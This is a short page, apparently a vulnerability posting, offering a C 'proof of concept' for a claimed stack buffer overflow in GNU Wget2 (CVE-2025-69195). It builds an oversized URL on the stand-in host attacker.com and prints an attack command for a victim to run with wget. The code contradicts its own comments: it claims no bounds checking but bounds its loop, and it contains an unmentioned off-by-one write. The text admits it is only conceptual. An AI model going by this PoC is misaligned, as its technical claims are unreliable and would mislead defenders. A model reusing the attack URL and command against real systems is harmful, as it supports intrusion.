CVE-2025-69195 GNU Wget2 栈缓冲区溢出漏洞

// CVE-2025-69195 PoC - GNU Wget2 Stack Buffer Overflow // This PoC demonstrates the vulnerability in filename sanitization logic #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated vulnerable function similar to wget2's filename sanitization void vulnerable_sanitize_filename(char *output, const char *input) { // Vulnerable: No bounds checking on buffer char buffer[256]; // Fixed size stack buffer int i = 0; // Simulate the vulnerable code path // In real wget2, this occurs in filename restriction logic while (*input && i < sizeof(buffer)) { buffer[i++] = *input++; } buffer[i] = '\0'; // Null terminator // If input is longer than 256 chars, overflow occurs // Attackers can overwrite return address and execute arbitrary code strcpy(output, buffer); // Copy to output } // Generate malicious URL with oversized filename char* generate_malicious_url() { // Create URL with filename exceeding 256 chars // This triggers stack buffer overflow in wget2's sanitization const char *prefix = "https://attacker.com/"; int prefix_len = strlen(prefix); int overflow_len = 512; // Exceeds 256 char buffer char *url = malloc(prefix_len + overflow_len + 1); strcpy(url, prefix); // Fill with repeated pattern to trigger overflow for (int i = 0; i < overflow_len; i++) { url[prefix_len + i] = 'A'; } url[prefix_len + overflow_len] = '\0'; return url; } int main() { printf("CVE-2025-69195 PoC - GNU Wget2 Stack Buffer Overflow\n"); printf("Target: GNU Wget2 < 2.x.x (vulnerable versions)\n\n"); char *malicious_url = generate_malicious_url(); printf("Generated malicious URL length: %ld\n", strlen(malicious_url)); printf("This URL will trigger buffer overflow when processed by wget2\n"); printf("\nAttack vector:\n"); printf("1. Attacker hosts malicious URL\n"); printf("2. Victim runs: wget --restrict-file-names=unix %s\n", malicious_url); printf("3. wget2 crashes or attacker executes code\n"); free(malicious_url); return 0; } /* Usage: 1. Compile: gcc -o poc poc.c 2. Run: ./poc 3. Attack: wget --restrict-file-names=unix https://attacker.com/[500+ chars filename] Note: This is a conceptual PoC. Actual exploitation requires specific environment and wget2 version. Update wget2 to the latest patched version. */